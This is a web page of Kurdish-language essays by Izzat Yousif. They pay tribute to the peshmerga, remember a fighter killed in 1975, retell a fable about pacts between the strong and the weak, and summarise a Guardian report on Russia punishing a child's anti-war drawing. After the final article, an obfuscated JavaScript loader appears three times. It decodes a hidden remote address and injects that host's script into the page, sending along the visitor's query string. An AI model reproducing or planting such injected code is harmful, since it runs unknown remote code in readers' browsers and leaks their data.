سەردەمەكی، بیستنا ناڤێ‌ پێشمەرگەی دەریێ‌ خۆزیا بوو، دیتنا پێشمەرگەی مرادا ل سەر مرادا بوو. دەما ل سەردەمێن بێ‌ ئۆمێدیێ‌ ئۆمێدی دبارین، ئەها ل وی دەمی ولاتەك ب ناڤێ‌ كوردستان، مللەتەك ب ناڤێ‌ كورد جارەكا دی نسكۆ و كەتن د فەرهەنگا خۆ دا نەحەواندن، خەبات و بەرخۆدان حەباندن، خۆ نەڤیان و وەلاتێ‌ خۆ ڤیان، كوردستان ڤیان، كوسك و چەپەر ڤیان، گرتیخانە و زیندان ڤیان، بڕیار و بەرخۆدان ڤیان، ئەرێ‌ ئەو كی بوون؟ پێشمەرگە بوون.. پێشمەرگە. وەسا پێشمەرگەی ئەڤرازیێن ڕك و مرنێ‌ بڕین.
زیرەكی و لەهەنگی و چاڤنەترسیانا پێشمەرگەی، دوژمنان بەری دوستان دانپێدایە، نڤیسەرێن بیانی ل سەر راوەستیاینە. ل سالا 1959، شەهید ئەنوەر مائی، د نامیلكا (محازەرەك ل سەر كوردان ل چینێ‌) دبێژیت (رازمارا)، سەرۆكێ‌ سوپایێ‌ ئیرانێ‌ ل سەردەمێ‌ كۆمارا كوردستان پەسنا قارەمانییا هێزێن پێشمەرگەی؛ نە سوپایێ‌ ئیرانێ‌ دكەت.
ئەو چیایێن پێشمەرگەی پێ‌ دگۆت: «مادەم من بڕنۆ و چیا هەیە هیچ جاران ژبەر دوژمن و داگیركەران نادانم و منەتا وان نزانم،» ئەها ئەو چیا تنێ‌ هەڤالێن كوردان و كوسك و چەپەرێن پێشمەرگەی بوون.
نڤیسكارێ‌ سویدی، (نورد ڤالسترۆم)، د پەرتۆكا (كوردان چ هەڤال نینن ژبلی چیا)، ئەو بخۆ دیدەڤانێ‌ قارەمانییا پێشمەرگەییە، كو ل داویا سالا 1974 ێ‌ قارەمانییا هێزێن پێشمەرگەی ل شەر و بەرخۆدانێن چیایێن زۆزك و هندرینی دبینیت و دبێژیت: (ئەو گەلێ‌ خۆدان ڤان جەنگاوەران بیت یان دێ‌ ب سەركەڤیت، یان ژی دێ‌ ب سەركەڤیت).
بەلێ‌ ئەو پێشمەرگە بوو، بڕنۆیا وی ل ملی و چانتك ب ملیڤە، كو ناڤێ‌ دیوانا كورەماركییە و تنێ‌ ژ دو پەیڤان پێكدهێت د (چانتكا پێشمەرگەی) دا، لێ‌ رامانا هەبوونا گەلەكێ‌ زیندی دگەهینیت، گەلەكێ‌ حەژێكەرێ‌ ئازادیێ‌، گەلەكێ‌ بندەستیێ‌ نەحەوینیت، ولاتەكێ‌ دژ داگیركاریێ‌ دگەهینیت، كو د وێ‌ چانتكێدا تنێ‌ هندەك چنیكێن نانی یان وەرپێچكەكا نانی ل گەل سەركەكێ‌ پیڤازی، دبیت بەكەرەك و دەرزیكەك، دبیت هندەك پەمبی و لفافە، یان تشتێن ریهتراشینێ‌ تێدا بوون، دبیت دەفتەركەكا بیرەوەریان ژی تێدا بیت، و هەر ئەو چانتك بوو ل بەر پالەكی یان ل سەر حەلانەكی، بالگەه و بالیفكا وی بوو، لێ‌ یا ژ هەمیێ‌ گرنگتر هیڤی و ئۆمێدێن گەلەكی تێدابوون، مزگینیا سەركەفتنێ‌ تێدا بوو.
چیایێ‌ زۆزك و مەتینی.. هەمی چیایێن سەركەشێن كوردستانێ‌، داستانێن خواكوركی و كانی ماسێ‌ و دیرەلۆكێ‌ و كۆبانێ‌ و سحێلا.. هەر بهۆستەكا ئاخا پیرۆزا كوردستانێ‌، شاهدی قارەمانی و ئازایەتییا پێشمەرگەینە.
دەما ناڤێ‌ پێشمەرگەه دهێت، ناڤێ‌ بڕنۆیا ژمارە 17، چیا، چەپەر، چانتك، خاك دهێتە بیرا مە. نەترسی، خۆراگری، ئازادی، ئازایەتی، لەهەنگی دهێتە بیرا مە، بیرا مرۆڤی دئینتە سەربۆڕا ئازایەتییا گەلی چیا ل شەڕێ‌ دیرۆكی یێ‌ سێمپاچ ل تیرمەها 1386، كا چەوا گەلێن سویسری دژی داگیركاریا نەمساویان شەڕكرن و كونفیدراسیۆنا سویسرا ژ داگیركرنێ‌ پاراست.
ل داویێ‌، كو داوی پێناهێت، دیوان دبێژتە مە ئەز پێشمەرگەمە، ل هەمی دۆخ و كاودانا ئامادەمە و ئەز هەمە.

عزەت یوسف

بۆ بیرەوەریا سالرۆژا شەهیدبوونا پێشمەرگێ‌ جانەمەرگێ‌ شۆرەشا مەزنا ئیلونێ‌ داود بادی، كو جارا ئێكێ‌ بوو من د زارۆكینییا خۆ دا جەستەیێ‌ شەهیدەكێ‌ قارەمان دیتی.
یا تژی كۆڤان و كول و كەسەر بوو.. شەهیدەكێ‌ خۆرت و گەنج، خوین گەرم و تژی بزاڤ، چەلەنگ و چالاك، خودان ئیرادە و باوەری، تازە ریه و سمبێل دەركەتی. سپێدەیەكا درەنگا دەهی شواتا 1975 نە وەك هەمی سپێدەیان ل دویڤ قێژی و هەوار و گرینێ‌ ڤەجنقیاین، دەنگێ‌ گریێ‌ و نیهارێ‌ ژ ئالیێ‌ خوارێ‌ ل گۆندێ‌ ستوكوركێ‌ ل رەخێ‌ كانییا بلقێ‌ ل سەر جۆیا باڵاڤیان و د ناڤ سپیندارا دا ب سەر مە دا هات، بەرێ‌ تەڤ گوندیان كەتێ‌، هەوارە داود شەهید بوویە! بەلێ‌ داود بادی شەهیدە. داودێ‌ خۆدانێ‌ برنۆیا وەسەت و بەژن زراڤێ‌ وەسەت. داودێ‌ ستێركڤان و سەگڤانێ‌ كێلشكێن، دەمێ‌ ئارمانجانێ‌ داود ئێكەم بوو.. بیرا من دهێت كێلەك همبەری گوندی ل بەتەنا نزاری هاتەڤەدان، پڕانییا زەلامێن گوندی و ل گەل هندەك مێڤانان لێ‌ پالە بوون نە هەرێ‌ نە قولپاند، (یا ژ من ڤە، ل وی دەمی، ل هەمی گوندان، گوندییان ساخلەتەك هەبوو، دەمێ‌ كێلەك هاتبا ڤەدان دڤیابا بێخن هەكە كێماسی بوو)، گۆتن هەڕن داودی گازی كەن، داود هات و یێ‌ پەیت، برنۆ د دەستی دا، ستێركا خۆ لێ‌ گرت و ب ئێكەم گوللە پلخ كێل پەلخاند، هەمییان ئافەرینی و دەستخۆشی لێ‌ باراندن.
بەلێ‌ داود یێ‌ كێلشكێن بوو.. چەپەر شكێن بوو، دوژمن شكێن بوو.
شەهید داود د شەڤە چالاكییەكا پێشمەرگایەتی دا ل 9/10 – 2 – 1975، ل نێزیك گووندێ‌ بەرۆشكێ‌ (نێزیك قوتابانا بەرۆشكێ‌ یا سەرەتایی – نها بنەڕەتی) ل گەل مەفرەزا خۆ كەفتنە د بویسەكا دوژمنی دا و شەهید بوو. دەمێ‌ تەڕمێ‌ شەهیدی ل سەر جۆیەكا ئاڤا زەلالا كوردستانێ‌ مینا گیانێ‌ وی یێ‌ پاقژ د ناڤ داروباری ل نێزیكی مالا وان دشۆن، من وەكی كەسەكێ‌ دوازدە سێزدە سالی دیت، كو تەنیشتا وی هەتا گۆزەكی گوللان هنگافت بوو. مینا رەشەبایەكێ‌ ئەز تێكشكاندم د جهدا هشكبووم، بۆ من ئەڤە ئێكەم دیتنا كۆڤانی بوو، دایك و بابان ل هنداڤ دگرین، ئەم ژی هەمی د گەل دا دگرین. ئەو سپێدە نەخۆشترین و تالترین بیرەوەریە بۆ من، هەتا بۆرینا پتر ژ 50 ساڵێن رەبەق من ژبیر نەكرییە و ژبیر ناكەم و هەروەكی دوهی ل پێش چاڤێن من.
شەهید داود پێشمەرگە بوو.. رۆژنامەنڤیسەكی ئیتالی كو شەڕەكێ‌ پێشمەرگەی دگەل سوپایێ‌ ئیراقێ‌ دبینیت، دبێژیت مللەتەك خۆدانێ‌ ڤان قارەمانان بیت، ئەڤرۆ بیت یان سوباهی هەر دێ‌ گەهتە ئامانج؛ بەلێ‌ شەهید داود ژ نڤشێ‌ ڤان قارەمانان بوو.
شەهید داود، ب ساخیا خۆ پێشمەرگەكێ‌ چەلەنگێ‌ خۆڕاگر و ب شەهیدبوونا خۆ لەهەنگەك نەمر.. هەرچەندە جەستەیێ‌ شەهیدی ل زنارێن چیایێ‌ شكێڕی و سەرنەكەت، لێ‌ د وژدانا ویدا قەت كەتن نەبوو، روحا وی بلندتر فڕی و بوو رێبازەك و وەلاتەك تێدا سەركەت.. ئەلهۆیەك ب بلندی ژیا و ب بلندی بەر ب ئاسمانێ‌ نەمری و شەهادەتێ‌ فڕی.. نەمری و سەروەری بۆ شەهید داودی و تەڤایا شەهیدێن كوردینیێ‌ و كوردستانێ‌.

عزەت یوسف

بەری هەیامەكێ‌ من سەرهاتیەكا لۆژیكی دناڤبەرا ماری و مشكی دا ب زمانێ‌ ئنگلیزی خواند، یا تژی رامان و پەیام بوو، سەرهاتی وەسا بوو…
ئاگرەكێ‌ بۆش بەربوو دارستانەكێ‌… گیانەوەر ژێ‌ رەڤین، ژ وان مار، هندی ژێهاتی خوە خشاند داكو خوە قورتال بكەت.. دەمێ‌ ب هەر حال خوە خلاسكری و گەهشتیە دەرڤەی دارستانێ‌، مشكەك دیت. مشك ژ خوە تڕسیا، ڤیا بڕەڤیت، ماری گازی كرێ‌: (مشكو نەڕەڤە، ئەز نوكە قورتال بووم، پشتی ئەڤ تڕسا ب سەرێ‌ من هاتی ئەز كەسێ‌ ئازار نادەم. ئەز ژ تێهنا یێ‌ قرقچیمە و من دڤێت ببمە هەڤالێ‌ تە، بەس هندەك ئاڤێ‌ بدە من، مشكی گۆتێ‌ ب دووف من بكەڤە. مارێ‌ واستیای و تێهنی ب دووف كەفت… هەتا گەهشتینە مالا مشكی و هندەك ئاڤ ئینا و دا ماری. ماری تێر ڤەخار هەتا تێهنیا وی شكەستی… پاشی مار تێر نڤست، پشتی هشیار بووی یێ‌ تەنا و سەرخوە، بەرێ‌ خوە دا مشكی و گۆت: گۆهبدێ‌، ئەز دێ‌ پەیمانەكێ‌ ل گەل تە مۆركەم كو ل ڤێرە بژیم و كەسەك ژ مە هێرشێ‌ ل سەر یێ‌ دی نەكەت و ب ئارامی و سلامەتی پێكڤە بژین. مشكی ب دودلی گۆت (بلا.. ئەز یێ‌ رازی مە).
پشتی چەند خۆلەكان، پشتی مار د مالا خوە یا نوو دا گەڕیای، مشكی گۆتێ‌ ئەز دێ چم هندەك خوارنێ‌ ئینم. ماری گۆتێ‌ باشە بەلێ‌ گیرۆ نەبی،مشك گەهشتە بەر دەرگەهی و ل ماری زڤڕی و گۆتێ‌: ب خاتراتە هەتا هەتایێ‌، مالا من پیرۆزی تە بیت، ژیانا من گرنگترە).
ماری گازی كرێ‌ (بۆچی تە گۆمان ژ من هەیە؟)
بەرسڤا مشكی:(ئەڤە پەیمانەكە دناڤبەرا هێزداری و لاوازی، من چ دەستهەلات و شیان تێدا نینە، ئەز ژبەر تڕسا جانێ‌ خوە رازی بووم و نها دێ‌ خۆ رزگار كەم).
ئانكو… هیچ پەیام و پەیمان دناڤبەرا هێزداری لاوازی یا سەركەفتی نابیت، دبیت یا دەمكی و تەكتیكی بیت، لێ‌ هەتا دووماهیێ‌ سەرناگریت. لەوا دڤێت مرۆڤ هەردەم ل خالێن هێزداریێ‌ و سەركەفتنێ‌ بگەڕیێت.

عزه‌ت یوسف
سه‌رهاتیه‌كا راست نڤیسه‌ر (رافایێل بێهر)، ل رۆژنامه‌یا گاردیانا به‌ریتانى ب تایتلى (- شه‌ڕێ پیرۆزێ – پۆتینى ل گه‌ل ئوكرانیا) نیشا مه‌ دده‌ت، راستیه‌كا تاله‌ و بیردانكا مه‌ كوردان دزڤرینیته‌ سه‌رده‌مێ بنده‌ستیا رژێما به‌عسیان، كو د هه‌مان كاودان دا ژیاینه‌، ده‌ما رژێما به‌عس برا و برا، باب و كور، هه‌مى كه‌س… ك دكرنه‌ نه‌یار و ڤێكرا به‌ردان. سیاسه‌تا ڤێكرا به‌ردان و دوبه‌ره‌كى په‌یداكرن و سیخورى كرن ژ ئالیێ رژێما به‌عس ل گه‌ل گه‌لێ كوردستانێ هه‌تا سه‌رهلدانا 1991 یا به‌رده‌وام بوو، هه‌تا ئه‌ڤ رژێمه‌ ب دیسپلینێن خوه‌ڤه‌ ژ ناڤچووى و گه‌لێ كوردستانێ ب ئازادى و ره‌وشا دیفاكتۆیا نها شاد بووى.
ئه‌ڤا خوارێ كورتكرنا نڤێسینا نڤیسه‌رى یه‌ من ژ زمانێ ئنگلیزى وه‌رگێرایه‌:
نیسانا سالا بوورى، (ماشا موسكالیڤا)، كچه‌كا ته‌مه‌ن 12 سالى ژ هه‌رێما (تولا) ل باشورێ مۆسكۆ، ل وانه‌یا هونه‌رى ل قوتابخانا خوه‌، وێنه‌یه‌ك كێشا مامۆستایا خوه‌ پێ خه‌مگین كر. مامۆستا چو گۆته‌ رێڤه‌به‌رى؛ رێڤه‌به‌رى په‌یوه‌ندى ب پۆلیسان كر؛ پۆلیسان گه‌هانده‌ ده‌زگه‌هێ ئاسایشێ (FSB) و لێپرسین ل گه‌ل (ماشا) یێ هاته‌ كرن، دایك و بابێن وێ هاتنه‌ گرتن، لێدان و سزادان، كچ ژى برن و ئێخستنه‌ بن چاڤدێریا ده‌وله‌تێ.
تاوانا ماشایێ (بێریزبكرنا له‌شكرى) بوو. (تاوانه‌ك) پشتى داگیركرنا ئوكرانیا بوویه‌ یاسا داكو راستیێن تاوانان نه‌هێنه‌ زانین. سزایێ ئه‌ڤێ پێنج سال زیندانه‌. وێنه‌یێ ماشایێ كێشاى، ژنه‌ك و زارۆكه‌ك، ده‌ست ل ناڤ ده‌ست، ل ته‌نیشت ئالایێ ئوكرانیا نیشان دابوو. مووشه‌ك ژ ئالیێ ئالایه‌كێ رۆسیاڤه‌ به‌ره‌ڤ وان دهێن و ل سه‌ر نڤێیه‌ (نه‌ بۆ شه‌ڕى).
ئه‌ڤ گۆتنه‌ ب تنێ ب زمانێ رۆسى (net voine in Russian) به‌سه‌ بۆ ده‌ستپێكرنا لێپرسینا تاوانكاریێ. د شیاندایه‌ ژبه‌ر تابلۆیه‌كا د ده‌ستێ ته‌ دا كو تنێ ئاماژه‌ ب وى درووشمى دكه‌ت كو ستێر ل سه‌رن *** ***** مرۆڤ بهێته‌ گرتن.
مامۆستایا هونه‌رى یا ماشایێ داخواز ژ قوتابیێن پۆلێ نه‌كربوو كو تنێ وێنه‌یه‌كێ هه‌روه‌ بكێشن. رێنمایى ئه‌و بوو كو تشته‌كى به‌رهه‌م بینن په‌یوه‌ست ب پیرۆزكرنا (ئۆپه‌راسیۆنا سه‌ربازیا تایبه‌ت) ل ئوكرانیا هه‌بیت.
شه‌ڕ د دره‌وه‌كێدا هاته‌ دیتن: دیتنا شاشا پۆتینى كو ئوكرانیا نه‌ وه‌لاته‌كێ راستینه‌یه‌، و گه‌لێ وێ تاقمه‌كا دلێن نازیا نوینه‌ و كه‌تینه‌ دناڤ ماددێن بێ هۆشكه‌ردا، و دێ پێشوازیێ ل هێرشا رۆسیا وه‌ك رزگاركه‌ر ژ ئالیێ برایێن خوه‌ یێن سلاڤیكى ڤه‌ كه‌ن.
ده‌مێ ئۆكرانیا به‌رسڤا شه‌ڕى داى و به‌رگرى كرى، هێلا فه‌رمى یا كرملین بۆ تشته‌كى خرابتر هاته‌ گوهۆرین. دڤێت ئه‌و كه‌سێن ملكه‌چ نه‌بن بێ دلۆڤانى بهێنه‌ ترساندن و تیرۆر كرن. هێرشێن مووشه‌كى یێن كورانه‌ بۆ سه‌ر باژێرێن ئوكرانیا هیچ خزمه‌تا ئه‌ركه‌كێ تاكتیكیێ قادا شه‌ڕى ناكه‌ت. ئارمانج ژێ لاوازكرنا ده‌وله‌تا ئوكرانیایه‌ وه‌كو پێشه‌كیه‌ك بۆ نه‌هێلانا ئوكرانیا وه‌ك كه‌لتوره‌كێ جودا و وه‌ك نهته‌وهیهك. ده‌نگ و تۆنا هنده‌ك ژ پسپۆرێن كه‌نالێن پرۆپاگه‌نده‌یێن كرملین ب ئاشكه‌رایى جینوسایده‌. ئه‌ڤه‌ به‌ره‌یێ دوێ یێ شه‌ڕى یه‌، كو دژى وژدانا رۆسیا دهێته‌ ئه‌نجامدان – هێرشه‌كا سه‌رتاسه‌رى ل سه‌ر راستیان، به‌لگه‌، ریالیست.
راپۆرته‌كا ڤێ داویێ یا (ئوڤ دى ئینفۆ)، كو گرۆپه‌كا پێشه‌نگێن مافێن مرۆڤێن رۆسیا یه‌، به‌لگه‌دار كریه‌ كو نێزیكى 20 هه‌زار كه‌س ژبه‌ر كریارێن دژى شه‌ڕى هاتینه‌ ده‌سته‌سه‌ركرن. حاله‌ت هه‌نه‌ كو خه‌لكه‌ك ژبه‌ر ده‌ربرینا نه‌رازیبوونێ د دانوستاندنێن تایبه‌تدا، یان تنێ ژبه‌ر په‌یوه‌ندى ب وان كه‌سان هه‌نه‌ كو دنیسن ب دژاتیا شه‌ڕى هاتینه‌ ده‌سته‌سه‌ركرن. درنداتیا پۆلیسان رۆتینیه‌، ب گه‌فێن ته‌له‌فۆنى، تێكدان، لێدان، ده‌رێخستن ژ كارى.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();